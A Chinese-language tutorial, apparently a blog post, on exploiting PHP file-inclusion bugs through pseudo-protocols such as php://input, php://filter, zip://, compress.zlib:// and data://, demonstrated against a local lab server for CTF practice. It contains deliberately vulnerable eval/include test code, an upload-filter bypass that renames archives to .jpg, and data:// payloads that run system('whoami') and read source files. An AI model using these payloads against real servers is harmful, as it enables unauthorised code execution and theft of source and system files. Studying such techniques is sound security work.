0x00 php://input

//所有测试均allow_url_fopen=On,allow_url_include=On!!!

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 
$HTTP_RAW_POST_DATA
<http://php.net/manual/zh/reserved.variables.httprawpostdata.php>,因为它不依赖于特定的 
php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA
<http://php.net/manual/zh/reserved.variables.httprawpostdata.php> 默认没有填充, 比激活 
always_populate_raw_post_data 潜在需要更少的内存。 enctype=”multipart/form-data” 的时候 
php://input 是无效的。

——php.net

简单说就是获取post数据。

测试代码:
<?php $d = file_get_contents('php://input'); //echo $d; @eval($d) ?>


文件包含变命令执行:

测试代码:
<?php @include($_GET[“file”]); ?>


 

写一句话:



0x01 php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤 <http://php.net/manual/zh/filters.php>
应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()
<http://php.net/manual/zh/function.readfile.php>、 file()
<http://php.net/manual/zh/function.file.php> 和 file_get_contents()
<http://php.net/manual/zh/function.file-get-contents.php>
, 在数据流内容读取之前没有机会应用其他过滤器。

——php.net

简单说经常利用它进行base64编码,如
php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini”
可以运用多种过滤器(字符串/转换/压缩/加密)

常用于读取文件/源码:



0x02 zip://,bzip2://,zlib://

zlib: 的功能类似 gzopen() <http://php.net/manual/zh/function.gzopen.php>,但是 其数据流还能被 
fread() <http://php.net/manual/zh/function.fread.php>
 和其他文件系统函数使用。 自 PHP 4.3.0 后这个不建议被使用,因为会和其他带“:”字符的文件名混淆; 请使用 compress.zlib://
 作为替代。

compress.zlib://、 compress.bzip2:// 和 gzopen()
<http://php.net/manual/zh/function.gzopen.php>、bzopen()
<http://php.net/manual/zh/function.bzopen.php> 是相等的。并且可以在不支持 fopencookie 的系统中使用。

ZIP 扩展 <http://php.net/manual/zh/book.zip.php> 注册了 zip:
 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 
‘password’ 选项设置密码。

可选项

* zlib://file.gz
* bzip2://file.bz2
* zip://archive.zip#dir/file.txt
——php.net

简单说就是直接访问压缩包里的文件。

1. zip://

将phpinfo.txt压缩成zip,实战中可以改后缀为jpg绕过上传限制。


http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=zip://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest\phpinfo.jpg%23phpinfo.txt

<http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=zip:/C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest/phpinfo.jpg%23phpinfo.txt>

注意要用绝对路径+url编码#



2. zlib://


http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest/phpinfo.txt.gz

<http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=compress.zlib:/C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest/phpinfo.txt.gz>



改后缀为jpg亦可,相对路径亦可。

 

3. bzip2://

同理于zlib://

 

0x03 data://

data://text/plain;base64,


http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

<http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=data:/text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==>



不加//亦可。

也可以用来读php文件源码:
data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?>

或者命令执行:
data:text/plain,<?php system(‘whoami’)?>

 

0x04 结语

ctf中常利用php伪协议,实战中或许会有奇效。



0x05 参考资料

https://www.waitalone.cn/php-file-include.html
<https://www.waitalone.cn/php-file-include.html>

www.freebuf.com/column/148886.html <http://www.freebuf.com/column/148886.html>

http://php.net/manual/zh/wrappers.php <http://php.net/manual/zh/wrappers.php>

友情链接
KaDraw流程图
API参考文档
OK工具箱
云服务器优惠
阿里云优惠券
腾讯云优惠券
华为云优惠券
站点信息
问题反馈
邮箱:[email protected]
QQ群:637538335
关注微信